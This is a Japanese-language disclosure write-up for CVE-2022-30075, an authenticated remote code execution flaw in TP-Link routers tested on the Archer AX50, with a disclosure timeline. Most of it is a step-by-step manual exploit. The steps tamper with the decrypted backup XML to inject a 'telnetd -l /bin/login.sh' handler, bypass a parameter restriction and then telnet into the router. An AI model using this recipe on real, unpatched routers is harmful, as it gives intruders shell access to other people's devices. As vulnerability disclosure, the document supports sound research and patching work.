CVE-2022-30075

Tp-Linkルーターにおける認証済みリモートコード実行

影響を受けるデバイス

お使いのTp-Linkルーターにバックアップと復元機能があり、ファームウェアが2022年6月より古い場合、脆弱性の影響を受ける可能性があります。

テスト済みデバイス

Tp-Link Archer AX50。他のtplinkルーターではバックアップの形式が異なる場合があり、エクスプロイトの修正が必要になることがあります。

PoC

ルーター上でtelnetデーモンを起動するためのエクスプロイトを使用

手動による悪用

1. ルーターのWebインターフェースにログイン
2. advanced -> system -> backup settings に移動
3. バックアップファイルを復号・展開

• お使いのルーターが異なる形式のバックアップファイルを使用する場合、エクスプロイトコード（クラス BackupParser）を変更するか、GitHubのツールを利用してください： https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. 復号したXMLファイル内で次のような部分が見つかります：

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• これを次の行に置き換えます

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• パラメータ system.button.handler の変更をブロックする制限がありますが、親XMLノードの名前を変更することで簡単に回避できます（例：name="exploit"）
• コード実行は system.button.handler パラメータの変更だけでなく、ddns.service.ip_script、firewall.include.path、uhttpd.main などを使用しても実現可能です...

5. 変更したバックアップファイルを圧縮・暗号化
6. advanced -> system -> restore settings に移動し、変更したバックアップファイルをアップロード
7. 再起動後、LEDボタンを押して注入されたコマンド /usr/sbin/telnetd -l /bin/login.sh を実行
8. リモートからルーターにログイン：telnet 192.168.1.1

タイムライン

15.03.2022 - 脆弱性を特定 15.03.2022 - Tp-Linkサポートに連絡 16.03.2022 - Tp-Linkから返信を受信 02.05.2022 - CVEが割り当てられる 27.05.2022 - Tp-Linkが脆弱性を修正したファームウェアをリリース 07.06.2022 - 技術的詳細を公開